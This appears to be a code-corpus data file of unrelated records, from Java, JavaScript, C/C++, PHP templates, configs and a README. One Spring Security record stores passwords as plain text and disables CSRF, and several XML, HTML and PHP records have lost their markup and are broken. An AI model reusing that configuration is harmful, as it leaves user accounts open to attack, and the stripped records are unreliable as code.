Periods.processFilterChanges(period);\n\n periodFilters.forEach(filterChange => {\n changes.post(filterChange);\n });\n };\n\n // assign default filters\n if (filters.limit) {\n vm.defaultQueries.limit = filters.limit;\n }\n\n if (angular.isDefined(filters.showFullTransactions)) {\n vm.defaultQueries.showFullTransactions = filters.showFullTransactions;\n }\n\n // assign default account\n if (filters.account_id) {\n vm.defaultQueries.account_id = filters.account_id;\n }\n\n // default filter limit - directly write to changes list\n vm.onSelectLimit = function onSelectLimit(value) {\n // input is type value, this will only be defined for a valid number\n if (angular.isDefined(value)) {\n changes.post({ key : 'limit', value });\n }\n };\n\n // deletes a filter from the custom filter object, this key will no longer be written to changes on exit\n vm.clear = function clear(key) {\n delete vm.searchQueries[key];\n };\n\n vm.cancel = Instance.dismiss;\n\n // returns the filters to the journal to be used to refresh the page\n vm.submit = function submit(form) {\n if (form.$invalid) { return 0; }\n\n const loggedChanges = SearchModal.getChanges(vm.searchQueries, changes, displayValues, lastDisplayValues);\n return Instance.close(loggedChanges);\n };\n}\n"} +{"text": "package hu.advancedweb.example;\n\nimport java.util.Deque;\nimport java.util.LinkedList;\n\npublic class Calculator {\n\n\tprivate final Deque stack = new LinkedList();\n\n\tpublic void push(String arg) {\n\t\tstack.add(arg);\n\t}\n\n\tpublic String evaluate() {\n\n\t\tString op = stack.removeLast();\n\t\tInteger x = Integer.parseInt(stack.removeLast());\n\t\tInteger y = Integer.parseInt(stack.removeLast());\n\n\t\tInteger val;\n\t\tif (op.equals(\"-\")) {\n\t\t\tval = x - y;\n\t\t} else if (op.equals(\"+\")) {\n\t\t\tval = x + y;\n\t\t} else if (op.equals(\"*\")) {\n\t\t\tval = x * y;\n\t\t} else if (op.equals(\"/\")) {\n\t\t\tval = x / y;\n\t\t} else {\n\t\t\tthrow new IllegalArgumentException();\n\t\t}\n\n\t\tstack.push(Integer.toString(val));\n\n\t\treturn stack.getLast();\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\treturn \"[stack=\" + stack + \"]\";\n\t}\n\n}\n"} +{"text": "nt=nt_in\ntmin=tmin_in\ndt=dt_in\n"} +{"text": "/**\n * ASync processing module.\n * \n * Quick start:\n *
    \n *
  • On server side, the class which is starting the whole engine is {@link de.metas.async.processor.IQueueProcessorExecutorService}\n *
\n */\npackage de.metas.async;\n\n/*\n * #%L\n * de.metas.async\n * %%\n * Copyright (C) 2015 metas GmbH\n * %%\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as\n * published by the Free Software Foundation, either version 2 of the\n * License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public\n * License along with this program. If not, see\n * .\n * #L%\n */\n"} +{"text": "# normalize-path [![NPM version](https://img.shields.io/npm/v/normalize-path.svg?style=flat)](https://www.npmjs.com/package/normalize-path) [![NPM monthly downloads](https://img.shields.io/npm/dm/normalize-path.svg?style=flat)](https://npmjs.org/package/normalize-path) [![NPM total downloads](https://img.shields.io/npm/dt/normalize-path.svg?style=flat)](https://npmjs.org/package/normalize-path) [![Linux Build Status](https://img.shields.io/travis/jonschlinkert/normalize-path.svg?style=flat&label=Travis)](https://travis-ci.org/jonschlinkert/normalize-path)\n\n> Normalize file path slashes to be unix-like forward slashes. Also condenses repeat slashes to a single slash and removes and trailing slashes unless disabled.\n\n## Install\n\nInstall with [npm](https://www.npmjs.com/):\n\n```sh\n$ npm install --save normalize-path\n```\n\n## Usage\n\n```js\nvar normalize = require('normalize-path');\n\nnormalize('\\\\foo\\\\bar\\\\baz\\\\');\n//=> '/foo/bar/baz'\n\nnormalize('./foo/bar/baz/');\n//=> './foo/bar/baz'\n```\n\nPass `false` as the last argument to **keep** trailing slashes:\n\n```js\nnormalize('./foo/bar/baz/', false);\n//=> './foo/bar/baz/'\n\nnormalize('foo\\\\bar\\\\baz\\\\', false);\n//=> 'foo/bar/baz/'\n```\n\n## About\n\n### Related projects\n\n* [contains-path](https://www.npmjs.com/package/contains-path): Return true if a file path contains the given path. | [homepage](https://github.com/jonschlinkert/contains-path \"Return true if a file path contains the given path.\")\n* [ends-with](https://www.npmjs.com/package/ends-with): Returns `true` if the given `string` or `array` ends with `suffix` using strict equality for… [more](https://github.com/jonschlinkert/ends-with) | [homepage](https://github.com/jonschlinkert/ends-with \"Returns `true` if the given `string` or `array` ends with `suffix` using strict equality for comparisons.\")\n* [is-absolute](https://www.npmjs.com/package/is-absolute): Polyfill for node.js `path.isAbolute`. Returns true if a file path is absolute. | [homepage](https://github.com/jonschlinkert/is-absolute \"Polyfill for node.js `path.isAbolute`. Returns true if a file path is absolute.\")\n* [is-relative](https://www.npmjs.com/package/is-relative): Returns `true` if the path appears to be relative. | [homepage](https://github.com/jonschlinkert/is-relative \"Returns `true` if the path appears to be relative.\")\n* [parse-filepath](https://www.npmjs.com/package/parse-filepath): Pollyfill for node.js `path.parse`, parses a filepath into an object. | [homepage](https://github.com/jonschlinkert/parse-filepath \"Pollyfill for node.js `path.parse`, parses a filepath into an object.\")\n* [path-ends-with](https://www.npmjs.com/package/path-ends-with): Return `true` if a file path ends with the given string/suffix. | [homepage](https://github.com/jonschlinkert/path-ends-with \"Return `true` if a file path ends with the given string/suffix.\")\n* [path-segments](https://www.npmjs.com/package/path-segments): Get n specific segments of a file path, e.g. first 2, last 3, etc. | [homepage](https://github.com/jonschlinkert/path-segments \"Get n specific segments of a file path, e.g. first 2, last 3, etc.\")\n* [rewrite-ext](https://www.npmjs.com/package/rewrite-ext): Automatically re-write the destination extension of a filepath based on the source extension. e.g… [more](https://github.com/jonschlinkert/rewrite-ext) | [homepage](https://github.com/jonschlinkert/rewrite-ext \"Automatically re-write the destination extension of a filepath based on the source extension. e.g `.coffee` => `.js`. This will only rename the ext, no other path parts are modified.\")\n* [unixify](https://www.npmjs.com/package/unixify): Convert Windows file paths to unix paths. | [homepage](https://github.com/jonschlinkert/unixify \"Convert Windows file paths to unix paths.\")\n\n### Contributing\n\nPull requests and stars are always welcome. For bugs and feature requests, [please create an issue](../../issues/new).\n\n### Contributors\n\n| **Commits** | **Contributor** | \n| --- | --- |\n| 31 | [jonschlinkert](https://github.com/jonschlinkert) |\n| 1 | [phated](https://github.com/phated) |\n\n### Building docs\n\n_(This project's readme.md is generated by [verb](https://github.com/verbose/verb-generate-readme), please don't edit the readme directly. Any changes to the readme must be made in the [.verb.md](.verb.md) readme template.)_\n\nTo generate the readme, run the following command:\n\n```sh\n$ npm install -g verbose/verb#dev verb-generate-readme && verb\n```\n\n### Running tests\n\nRunning and reviewing unit tests is a great way to get familiarized with a library and its API. You can install dependencies and run tests with the following command:\n\n```sh\n$ npm install && npm test\n```\n\n### Author\n\n**Jon Schlinkert**\n\n* [github/jonschlinkert](https://github.com/jonschlinkert)\n* [twitter/jonschlinkert](https://twitter.com/jonschlinkert)\n\n### License\n\nCopyright © 2017, [Jon Schlinkert](https://github.com/jonschlinkert).\nReleased under the [MIT License](LICENSE).\n\n***\n\n_This file was generated by [verb-generate-readme](https://github.com/verbose/verb-generate-readme), v0.4.3, on March 29, 2017._"} +{"text": "package jit.wxs.security;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.access.hierarchicalroles.RoleHierarchy;\nimport org.springframework.security.access.hierarchicalroles.RoleHierarchyImpl;\nimport org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;\nimport org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.builders.WebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\nimport org.springframework.security.crypto.password.PasswordEncoder;\n\n/**\n * @author jitwxs\n * @date 2018/3/29 16:57\n */\n@Configuration\n@EnableWebSecurity\n@EnableGlobalMethodSecurity(prePostEnabled = true)\npublic class WebSecurityConfig extends WebSecurityConfigurerAdapter {\n @Autowired\n private CustomUserDetailsService userDetailsService;\n\n @Bean\n public RoleHierarchy roleHierarchy() {\n RoleHierarchyImpl roleHierarchy = new RoleHierarchyImpl();\n String hierarchy = \"ROLE_ADMIN > ROLE_USER\";\n roleHierarchy.setHierarchy(hierarchy);\n return roleHierarchy;\n }\n\n @Override\n protected void configure(AuthenticationManagerBuilder auth) throws Exception {\n auth.userDetailsService(userDetailsService).passwordEncoder(new PasswordEncoder() {\n @Override\n public String encode(CharSequence charSequence) {\n return charSequence.toString();\n }\n\n @Override\n public boolean matches(CharSequence charSequence, String s) {\n return s.equals(charSequence.toString());\n }\n });\n }\n\n @Override\n protected void configure(HttpSecurity http) throws Exception {\n http.authorizeRequests()\n // 如果有允许匿名的url，填在下面\n// .antMatchers().permitAll()\n .anyRequest().authenticated()\n .and()\n // 设置登陆页\n .formLogin().loginPage(\"/login\")\n // 设置登陆成功页\n .defaultSuccessUrl(\"/\").permitAll()\n // 自定义登陆用户名和密码参数，默认为username和password\n// .usernameParameter(\"username\")\n// .passwordParameter(\"password\")\n .and()\n .logout().permitAll();\n\n // 关闭CSRF跨域\n http.csrf().disable();\n }\n\n @Override\n public void configure(WebSecurity web) throws Exception {\n // 设置拦截忽略文件夹，可以对静态资源放行\n web.ignoring().antMatchers(\"/css/**\", \"/js/**\");\n }\n}"} +{"text": "item->params;\n?>\n\n
pageclass_sfx; ?>\" itemscope itemtype=\"https://schema.org/Person\">\n\tget('show_page_heading')) : ?>\n\t\t

\n\t\t\tescape($tparams->get('page_heading')); ?>\n\t\t

\n\t\n\n\tcontact->name && $tparams->get('show_name')) : ?>\n\t\t
\n\t\t\t

\n\t\t\t\titem->published == 0) : ?>\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\tcontact->name; ?>\n\t\t\t

\n\t\t
\n\t\n\n\tget('show_contact_category'); ?>\n\n\t\n\t\t

\n\t\t\tcontact->category_title; ?>\n\t\t

\n\t\n\t\tcontact->catid); ?>\n\t\t

\n\t\t\t\">\n\t\t\t\tescape($this->contact->category_title); ?>\n\t\t\t\n\t\t

\n\t\n\n\titem->event)) echo $this->item->event->afterDisplayTitle; ?>\n\n\tget('show_contact_list') && count($this->contacts) > 1) : ?>\n\t\t
\n\t\t\t\n\t\t\tcontacts, 'select_contact', 'class=\"inputbox\" onchange=\"document.location.href = this.value\"', 'link', 'name', $this->contact->link); ?>\n\t\t
\n\t\n\n\tget('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>\n\t\titem->tagLayout = new JLayoutFile('joomla.content.tags'); ?>\n\t\titem->tagLayout->render($this->item->tags->itemTags); ?>\n\t\n\n\titem->event)) echo $this->item->event->beforeDisplayContent; ?>\n\n\tget('presentation_style'); ?>\n\t\n\t\n\n\t\n\t\n\t\t 'display-misc'));\n\t\t\t$accordionStarted = true;\n\t\t}\n\t\t?>\n
\n\n\t\tparams->get('show_info', 1)) : ?>\n
\n
\n

\n \n \n \n

\n
\n\n
\n
\n contact->image && $tparams->get('show_image')) : ?>\n
\n contact->image, $this->contact->name, array('itemprop' => 'image')); ?>\n
\n \n\n contact->con_position && $tparams->get('show_position')) : ?>\n
\n
:
\n
\n contact->con_position; ?>\n
\n
\n \n\n loadTemplate('address'); ?>\n\n get('allow_vcard')) : ?>\n \n contact->id . '&format=vcf'); ?>\">\n \n \n
\n
\n\n
\n\n\t\t \n\n\t\tget('show_email_form') && ($this->contact->email_to || $this->contact->user_id)) : ?>\n
\n
\n

\n \n \n \n

\n
\n\n
\n
\n loadTemplate('form'); ?>\n
\n
\n
\n\n\t\t \n\n\t\tget('show_links')) : ?>\n\t\t
\n
\n

\n \n \n \n

\n
\n\n
\n
\n loadTemplate('links'); ?>\n
\n
\n
\t \t\t\t\n\t \n\n\t get('show_articles') && $this->contact->user_id && $this->contact->articles) : ?>\n
\n
\n

\n \n \n \n

\n
\n\n
\n
\n loadTemplate('articles'); ?>\n
\n
\n
\n\t \n\n\t get('show_profile') && $this->contact->user_id && JPluginHelper::isEnabled('user', 'profile')) : ?>\n
\n
\n

\n \n \n \n

\n
\n\n
\n
\n loadTemplate('profile'); ?>\n
\n
\n
\n\t \n\n\t get('show_user_custom_fields') && $this->contactUser) : ?>\n\t loadTemplate('user_custom_fields'); ?>\n\t \n\n\t contact->misc && $tparams->get('show_misc')) : ?>\n
\n
\n

\n \n \n \n

\n
\n\n
\n
\n
\n
\n
\n get('marker_class'); ?>\">\n get('marker_misc'); ?>\n \n
\n
\n \n contact->misc; ?>\n \n
\n
\n
\n
\n
\n
\n\t \n\n
\n\t\n\t\n\n\n\t\n\t\n\n\t\tparams->get('show_info', 1)) : ?>\n 'basic-details')); ?>\n \n \n\n\t contact->image && $tparams->get('show_image')) : ?>\n\t
\n\t contact->image, $this->contact->name, array('itemprop' => 'image')); ?>\n\t
\n\t \n\n\t contact->con_position && $tparams->get('show_position')) : ?>\n\t
\n\t
:
\n\t
\n\t contact->con_position; ?>\n\t
\n\t
\n\t \n\n\t loadTemplate('address'); ?>\n\n\t get('allow_vcard')) : ?>\n\t \n\t contact->id . '&format=vcf'); ?>\">\n\t \n\t \n\n\t \n\n\t\t\n\n\t\tget('show_email_form') && ($this->contact->email_to || $this->contact->user_id)) : ?>\n 'display-form'));\n $tabSetStarted = true;\n }\n ?>\n \n\n loadTemplate('form'); ?>\n\n \n\t\t \n\n\t get('show_links')) : ?>\n\t loadTemplate('links'); ?>\n\t \n\n\t get('show_articles') && $this->contact->user_id && $this->contact->articles) : ?>\n 'display-articles'));\n $tabSetStarted = true;\n }\n ?>\n \n\n loadTemplate('articles'); ?>\n\n \n\t \n\n\t get('show_profile') && $this->contact->user_id && JPluginHelper::isEnabled('user', 'profile')) : ?>\n 'display-profile'));\n $tabSetStarted = true;\n }\n ?>\n \n\n loadTemplate('profile'); ?>\n \n\t \n\n\t get('show_user_custom_fields') && $this->contactUser) : ?>\n\t loadTemplate('user_custom_fields'); ?>\n\t \n\n\t contact->misc && $tparams->get('show_misc')) : ?>\n 'display-misc'));\n $tabSetStarted = true;\n }\n ?>\n \n\n\t
\n\t
\n\t
\n\t get('marker_class'); ?>\">\n\t get('marker_misc'); ?>\n\t \n\t
\n\t
\n\t \n\t contact->misc; ?>\n\t \n\t
\n\t
\n\t
\n\t \n\t \n\n\t\n\t\n\n\n\t\n\t\n\n\t\tparams->get('show_info', 1)) : ?>\n\t\t\t' . JText::_('COM_CONTACT_DETAILS') . ''; ?>\n\n\t contact->image && $tparams->get('show_image')) : ?>\n\t
\n\t contact->image, $this->contact->name, array('itemprop' => 'image')); ?>\n\t
\n\t \n\n\t contact->con_position && $tparams->get('show_position')) : ?>\n\t
\n\t
:
\n\t
\n\t contact->con_position; ?>\n\t
\n\t
\n\t \n\n\t loadTemplate('address'); ?>\n\n\t get('allow_vcard')) : ?>\n\t \n\t contact->id . '&format=vcf'); ?>\">\n\t \n\t \n\n\n\t\t\n\n\t\tget('show_email_form') && ($this->contact->email_to || $this->contact->user_id)) : ?>\n\t\t\t' . JText::_('COM_CONTACT_EMAIL_FORM') . ''; ?>\n\n\t\t\tloadTemplate('form'); ?>\n\t\t \n\n\t get('show_links')) : ?>\n\t loadTemplate('links'); ?>\n\t \n\n\t get('show_articles') && $this->contact->user_id && $this->contact->articles) : ?>\n\t \t' . JText::_('JGLOBAL_ARTICLES') . ''; ?>\n\n\t \tloadTemplate('articles'); ?>\n\t \n\n\t get('show_profile') && $this->contact->user_id && JPluginHelper::isEnabled('user', 'profile')) : ?>\n\t \t' . JText::_('COM_CONTACT_PROFILE') . ''; ?>\n\t \tloadTemplate('profile'); ?>\n\t \n\n\t get('show_user_custom_fields') && $this->contactUser) : ?>\n\t loadTemplate('user_custom_fields'); ?>\n\t \n\n\t contact->misc && $tparams->get('show_misc')) : ?>\n\t \t' . JText::_('COM_CONTACT_OTHER_INFORMATION') . ''; ?>\n\t
\n\t
\n\t
\n\t get('marker_class'); ?>\">\n\t get('marker_misc'); ?>\n\t \n\t
\n\t
\n\t \n\t contact->misc; ?>\n\t \n\t
\n\t
\n\t
\n\t \n\n\t\n\t\n\n \n \n \n \n \n\n\titem->event)) echo $this->item->event->afterDisplayContent; ?>\n
\n"} +{"text": "\n\n \n\n \n \n [%date{ISO8601}] %-5level %thread %logger{26} [%X{akkaSource}] - %msg%n\n \n \n\n \n \n \n \n \n \n \n \n \n\n \n \n \n\n \n \n \n \n\n \n \n \n\n"} +{"text": "export default () => {};\n"} +{"text": "/***************************************************************************\n * Copyright (C) 2017 by Nicolas Carion *\n * This file is part of Kdenlive. See www.kdenlive.org. *\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) version 3 or any later version accepted by the *\n * membership of KDE e.V. (or its successor approved by the membership *\n * of KDE e.V.), which shall act as a proxy defined in Section 14 of *\n * version 3 of the license. *\n * *\n * This program is distributed in the hope that it will be useful, *\n * but WITHOUT ANY WARRANTY; without even the implied warranty of *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *\n * GNU General Public License for more details. *\n * *\n * You should have received a copy of the GNU General Public License *\n * along with this program. If not, see . *\n ***************************************************************************/\n\n#ifndef EFFECTSTACKMODEL_H\n#define EFFECTSTACKMODEL_H\n\n#include \"abstractmodel/abstracttreemodel.hpp\"\n#include \"definitions.h\"\n#include \"undohelper.hpp\"\n\n#include \n#include \n#include \n#include \n\n/* @brief This class an effect stack as viewed by the back-end.\n It is responsible for planting and managing effects into the list of producer it holds a pointer to.\n It can contains more than one producer for example if it represents the effect stack of a projectClip: this clips contains several producers (audio, video,\n ...)\n */\nclass AbstractEffectItem;\nclass AssetParameterModel;\nclass DocUndoStack;\nclass EffectItemModel;\nclass TreeItem;\nclass KeyframeModel;\n\nclass EffectStackModel : public AbstractTreeModel\n{\n Q_OBJECT\n\npublic:\n /* @brief Constructs an effect stack and returns a shared ptr to the constructed object\n @param service is the mlt object on which we will plant the effects\n @param ownerId is some information about the actual object to which the effects are applied\n */\n static std::shared_ptr construct(std::weak_ptr service, ObjectId ownerId, std::weak_ptr undo_stack);\n\nprotected:\n EffectStackModel(std::weak_ptr service, ObjectId ownerId, std::weak_ptr undo_stack);\n\npublic:\n /* @brief Add an effect at the bottom of the stack */\n bool appendEffect(const QString &effectId, bool makeCurrent = false);\n /* @brief Copy an existing effect and append it at the bottom of the stack\n */\n bool copyEffect(const std::shared_ptr &sourceItem, PlaylistState::ClipState state);\n bool copyXmlEffect(QDomElement effect);\n /* @brief Import all effects from the given effect stack\n */\n bool importEffects(const std::shared_ptr &sourceStack, PlaylistState::ClipState state);\n void importEffects(const std::weak_ptr &service, PlaylistState::ClipState state, bool alreadyExist = false, QString originalDecimalPoint = QString());\n bool removeFade(bool fromStart);\n\n /* @brief This function change the global (timeline-wise) enabled state of the effects\n */\n void setEffectStackEnabled(bool enabled);\n\n /* @brief Returns an effect or group from the stack (at the given row) */\n std::shared_ptr getEffectStackRow(int row, const std::shared_ptr &parentItem = nullptr);\n std::shared_ptr getAssetModelById(const QString &effectId);\n\n /* @brief Move an effect in the stack */\n void moveEffect(int destRow, const std::shared_ptr &item);\n\n /* @brief Set effect in row as current one */\n void setActiveEffect(int ix);\n /* @brief Get currently active effect row */\n int getActiveEffect() const;\n /* @brief Adjust an effect duration (useful for fades) */\n bool adjustFadeLength(int duration, bool fromStart, bool audioFade, bool videoFade, bool logUndo);\n bool adjustStackLength(bool adjustFromEnd, int oldIn, int oldDuration, int newIn, int duration, int offset, Fun &undo, Fun &redo, bool logUndo);\n\n void slotCreateGroup(const std::shared_ptr &childEffect);\n\n /* @brief Returns the id of the owner of the stack */\n ObjectId getOwnerId() const;\n\n int getFadePosition(bool fromStart);\n Q_INVOKABLE void adjust(const QString &effectId, const QString &effectName, double value);\n\n /* @brief Returns true if the stack contains an effect with the given Id */\n Q_INVOKABLE bool hasFilter(const QString &effectId) const;\n // TODO: this break the encapsulation, remove\n Q_INVOKABLE double getFilterParam(const QString &effectId, const QString ¶mName);\n /** get the active effect's keyframe model */\n Q_INVOKABLE KeyframeModel *getEffectKeyframeModel();\n /** Add a keyframe in all model parameters */\n bool addEffectKeyFrame(int frame, double normalisedVal);\n /** Remove a keyframe in all model parameters */\n bool removeKeyFrame(int frame);\n /** Update a keyframe in all model parameters (with value updated only in first parameter)*/\n bool updateKeyFrame(int oldFrame, int newFrame, QVariant normalisedVal);\n /** Returns true if active effect has a keyframe at pos p*/\n bool hasKeyFrame(int frame);\n /** Remove unwanted fade effects, mostly after a cut operation */\n void cleanFadeEffects(bool outEffects, Fun &undo, Fun &redo);\n\n /* Remove all the services associated with this stack and replace them with the given one */\n void resetService(std::weak_ptr service);\n\n /* @brief Append a new service to be managed by this stack */\n void addService(std::weak_ptr service);\n /* @brief Append an existing service to be managed by this stack (on document load)*/\n void loadService(std::weak_ptr service);\n\n /* @brief Remove a service from those managed by this stack */\n void removeService(const std::shared_ptr &service);\n\n /* @brief Returns a comma separated list of effect names */\n const QString effectNames() const;\n\n bool isStackEnabled() const;\n\n /* @brief Returns an XML representation of the effect stack with all parameters */\n QDomElement toXml(QDomDocument &document);\n /* @brief Returns an XML representation of one of the effect in the stack with all parameters */\n QDomElement rowToXml(int row, QDomDocument &document);\n /* @brief Load an effect stack from an XML representation */\n bool fromXml(const QDomElement &effectsXml, Fun &undo, Fun &redo);\n /* @brief Delete active effect from stack */\n void removeCurrentEffect();\n\n /* @brief This is a convenience function that helps check if the tree is in a valid state */\n bool checkConsistency() override;\n\n /* @brief Return true if an asset id is already added to this effect stack */\n bool hasEffect(const QString &assetId) const;\n\npublic slots:\n /* @brief Delete an effect from the stack */\n void removeEffect(const std::shared_ptr &effect);\n\nprotected:\n /* @brief Register the existence of a new element\n */\n void registerItem(const std::shared_ptr &item) override;\n /* @brief Deregister the existence of a new element*/\n void deregisterItem(int id, TreeItem *item) override;\n\n std::weak_ptr m_masterService;\n std::vector> m_childServices;\n bool m_effectStackEnabled;\n ObjectId m_ownerId;\n\n std::weak_ptr m_undoStack;\n\nprivate:\n mutable QReadWriteLock m_lock;\n std::unordered_set m_fadeIns;\n std::unordered_set m_fadeOuts;\n\n /** @brief: When loading a project, we load filters/effects that are already planted\n * in the producer, so we shouldn't plant them again. Setting this value to\n * true will prevent planting in the producer */\n bool m_loadingExisting;\nprivate slots:\n /** @brief: Some effects do not support dynamic changes like sox, and need to be unplugged / replugged on each param change\n */\n void replugEffect(const std::shared_ptr &asset);\n\nsignals:\n /** @brief: This signal is connected to the project clip for bin clips and activates the reload of effects on child (timeline) producers\n */\n void modelChanged();\n void enabledStateChanged();\n};\n\n#endif\n"} +{"text": "\n\nwiderface\n2--Demonstration_2_Demonstration_Demonstrators_2_153.jpg\n\nwider face Database\nPASCAL VOC2007\nflickr\n-1\n\n\nyanyu\nyanyu\n\n\n1024\n682\n3\n\n0\n\nface\nUnspecified\n1\n0\n\n948\n298\n1023\n387\n\n\n949.875\n337.5\n983.062\n325.688\n960.562\n343.125\n960.562\n370.125\n984.75\n361.125\n1\n0.69\n\n1\n\n\nface\nUnspecified\n1\n0\n\n906\n391\n930\n420\n\n\n913.0\n404.0\n913.0\n404.0\n912.0\n410.0\n917.0\n415.0\n917.0\n414.0\n0\n0.38\n\n1\n\n\nface\nUnspecified\n1\n0\n\n894\n406\n915\n432\n\n0\n\n\nface\nUnspecified\n1\n0\n\n822\n382\n846\n424\n\n0\n\n\nface\nUnspecified\n1\n0\n\n808\n470\n936\n617\n\n\n850.67\n524.094\n900.571\n511.156\n894.103\n532.411\n878.393\n573.071\n915.357\n561.982\n0\n0.76\n\n1\n\n\nface\nUnspecified\n1\n0\n\n536\n376\n653\n532\n\n\n553.732\n427.482\n604.804\n412.75\n566.5\n419.625\n563.554\n482.482\n603.821\n469.714\n0\n0.74\n\n1\n\n\nface\nUnspecified\n1\n0\n\n509\n169\n522\n188\n\n\n515.75\n174.25\n520.0\n174.0\n520.0\n175.875\n517.625\n181.5\n519.625\n181.375\n1\n0.4\n\n1\n\n\nface\nUnspecified\n1\n0\n\n535\n186\n548\n203\n\n\n538.433\n191.045\n545.353\n191.156\n543.455\n192.719\n540.33\n197.183\n545.353\n197.295\n1\n0.45\n\n1\n\n\nface\nUnspecified\n1\n0\n\n342\n191\n424\n291\n\n\n372.429\n226.022\n410.196\n225.393\n403.272\n237.982\n381.241\n264.42\n412.714\n262.531\n0\n0.74\n\n1\n\n\nface\nUnspecified\n1\n0\n\n95\n397\n317\n654\n\n\n193.464\n483.411\n271.696\n468.366\n283.732\n501.464\n246.121\n581.201\n304.795\n560.138\n0\n0.86\n\n1\n\n\n"} +{"text": "#ifndef SECURITY_CONTEXT_H\n#define SECURITY_CONTEXT_H\n\n#include \n#include \n#include \n\n#define SECURITY_WIN32 1\n\n#include \n#include \n#include \n#include \n#include \"security_credentials.h\"\n#include \"../worker.h\"\n#include \"nan.h\"\n\nextern \"C\" {\n #include \"../kerberos_sspi.h\"\n #include \"../base64.h\"\n}\n\nusing namespace v8;\nusing namespace node;\n\nclass SecurityContext : public ObjectWrap { \n public: \n SecurityContext();\n ~SecurityContext(); \n\n // Security info package\n PSecPkgInfo m_PkgInfo;\n // Do we have a context\n bool hasContext;\n // Reference to security credentials\n SecurityCredentials *security_credentials;\n // Security context\n CtxtHandle m_Context;\n // Attributes\n DWORD CtxtAttr;\n // Expiry time for ticket\n TimeStamp Expiration;\n // Payload\n char *payload;\n\n // Has instance check\n static inline bool HasInstance(Handle val) {\n if (!val->IsObject()) return false;\n Local obj = val->ToObject();\n return NanNew(constructor_template)->HasInstance(obj);\n };\n\n // Functions available from V8\n static void Initialize(Handle target);\n static NAN_METHOD(InitializeContext);\n static NAN_METHOD(InitalizeStep);\n static NAN_METHOD(DecryptMessage);\n static NAN_METHOD(QueryContextAttributes);\n static NAN_METHOD(EncryptMessage);\n\n // Payload getter\n static NAN_GETTER(PayloadGetter);\n // hasContext getter\n static NAN_GETTER(HasContextGetter);\n\n // Constructor used for creating new Long objects from C++\n static Persistent constructor_template;\n \n private:\n // Create a new instance\n static NAN_METHOD(New);\n};\n\n#endif\n"} +{"text": "Manifest-Version: 1.0\nBundle-ManifestVersion: 2\nBundle-Name: %pluginName\nBundle-SymbolicName: org.eclipse.cdt.cmake.ui;singleton:=true\nBundle-Version: 1.3.0.qualifier\nBundle-Activator: org.eclipse.cdt.cmake.ui.internal.Activator\nBundle-Vendor: %providerName\nRequire-Bundle: org.eclipse.core.runtime,\n org.eclipse.core.resources;bundle-version=\"3.11.0\",\n org.eclipse.ui,\n org.eclipse.ui.ide,\n org.eclipse.cdt.cmake.core,\n org.eclipse.tools.templates.ui;bundle-version=\"1.1.0\",\n org.eclipse.cdt.core;bundle-version=\"6.1.0\",\n org.eclipse.debug.ui;bundle-version=\"3.11.200\",\n org.eclipse.cdt.launch;bundle-version=\"9.1.0\",\n org.eclipse.cdt.debug.core;bundle-version=\"8.1.0\",\n org.eclipse.cdt.ui;bundle-version=\"6.2.0\",\n org.eclipse.launchbar.core\nBundle-RequiredExecutionEnvironment: JavaSE-11\nBundle-ActivationPolicy: lazy\nBundle-Localization: plugin\nAutomatic-Module-Name: org.eclipse.cdt.cmake.ui\nExport-Package: org.eclipse.cdt.cmake.internal.ui.properties;x-internal:=true,\n org.eclipse.cdt.cmake.ui.internal;x-internal:=true\n"} +{"text": "\n\n\n\n\n\nweinre minified demo\n\n\n\n\n\n\n\n\n\n

this is a green h1

\n

this is a blue h1

\n

this is a red h1

\n

Some text, some italic text, and some bold text.\n\n

\n

\n

\n\n\n\n"} +{"text": "{\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}"} +{"text": "// SPDX-License-Identifier: GPL-2.0+\n/*\n * Copyright 2014 Broadcom Corporation.\n * Copyright 2015 Free Electrons.\n */\n\n#include \n#include \n#include \n#include \n\n#include \n#include \n\n#include \n#include \n#include \n\nstruct fb_nand_sparse {\n\tstruct mtd_info\t\t*mtd;\n\tstruct part_info\t*part;\n};\n\n__weak int board_fastboot_erase_partition_setup(char *name)\n{\n\treturn 0;\n}\n\n__weak int board_fastboot_write_partition_setup(char *name)\n{\n\treturn 0;\n}\n\nstatic int fb_nand_lookup(const char *partname,\n\t\t\t struct mtd_info **mtd,\n\t\t\t struct part_info **part,\n\t\t\t char *response)\n{\n\tstruct mtd_device *dev;\n\tint ret;\n\tu8 pnum;\n\n\tret = mtdparts_init();\n\tif (ret) {\n\t\tpr_err(\"Cannot initialize MTD partitions\\n\");\n\t\tfastboot_fail(\"cannot init mtdparts\", response);\n\t\treturn ret;\n\t}\n\n\tret = find_dev_and_part(partname, &dev, &pnum, part);\n\tif (ret) {\n\t\tpr_err(\"cannot find partition: '%s'\", partname);\n\t\tfastboot_fail(\"cannot find partition\", response);\n\t\treturn ret;\n\t}\n\n\tif (dev->id->type != MTD_DEV_TYPE_NAND) {\n\t\tpr_err(\"partition '%s' is not stored on a NAND device\",\n\t\t partname);\n\t\tfastboot_fail(\"not a NAND device\", response);\n\t\treturn -EINVAL;\n\t}\n\n\t*mtd = get_nand_dev_by_index(dev->id->num);\n\n\treturn 0;\n}\n\nstatic int _fb_nand_erase(struct mtd_info *mtd, struct part_info *part)\n{\n\tnand_erase_options_t opts;\n\tint ret;\n\n\tmemset(&opts, 0, sizeof(opts));\n\topts.offset = part->offset;\n\topts.length = part->size;\n\topts.quiet = 